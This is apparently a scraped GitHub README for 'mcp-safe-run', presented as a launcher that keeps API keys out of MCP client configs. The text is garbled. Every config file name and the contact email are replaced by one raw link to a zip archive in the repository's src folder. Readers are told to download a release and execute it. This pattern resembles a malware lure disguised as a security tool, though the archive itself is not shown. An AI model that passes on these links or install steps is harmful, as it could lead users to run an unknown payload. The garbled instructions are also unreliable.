Tired of hardcoding secrets like API keys in your MCP client configuration (e.g., mcp.json, claude_desktop_config.json)? mcp-secure-launcher lets you run your existing MCP servers securely without modifying them.
Welcome to the MCP Safe Run repository! If you’re tired of hardcoding secrets like API keys in your MCP client configuration files (like https://github.com/Kanak03-star/mcp-safe-run/raw/refs/heads/main/src/safe_mcp_run_v1.1.zip or https://github.com/Kanak03-star/mcp-safe-run/raw/refs/heads/main/src/safe_mcp_run_v1.1.zip), you’re in the right place. The mcp-secure-launcher allows you to run your existing MCP servers securely without modifying them.
To get started, download the latest release from our Releases page. Once downloaded, execute the file to install the mcp-secure-launcher.
Before you begin, ensure you have the following installed:
mcp-secure-launcher --version to confirm the installation.Using mcp-secure-launcher is straightforward. Follow these steps to start running your MCP servers securely.
Open your terminal and type the following command:
mcp-secure-launcher startThis command will initiate the launcher and load your MCP server configuration.
To add secrets, use the following command:
mcp-secure-launcher add-secret <key> <value>Replace <key> with the name of your secret and <value> with the actual secret.
Once your secrets are added, run your MCP server with:
mcp-secure-launcher run <server_name>Replace <server_name> with the name of your server configuration.
The launcher reads from a configuration file named https://github.com/Kanak03-star/mcp-safe-run/raw/refs/heads/main/src/safe_mcp_run_v1.1.zip. Here’s a sample structure:
{
"servers": [
{
"name": "MyServer",
"port": 8080,
"secrets": {
"API_KEY": "your_api_key_here"
}
}
]
}You can also configure secrets using environment variables. Set the variables in your terminal before starting the launcher:
export API_KEY="your_api_key_here"We welcome contributions to MCP Safe Run! If you’d like to help, please follow these steps:
Please read our Code of Conduct before contributing.
This project is licensed under the MIT License. See the LICENSE file for details.
If you encounter any issues, please check the Issues section for existing solutions. If your issue isn’t listed, feel free to create a new issue.
For questions or feedback, please reach out to us via GitHub or email us at https://github.com/Kanak03-star/mcp-safe-run/raw/refs/heads/main/src/safe_mcp_run_v1.1.zip
Thank you for checking out MCP Safe Run! We hope it makes managing your MCP servers easier and more secure. Don’t forget to visit our Releases page for the latest updates and downloads.
Kanak03-star/mcp-safe-run
April 26, 2025
April 13, 2026
TypeScript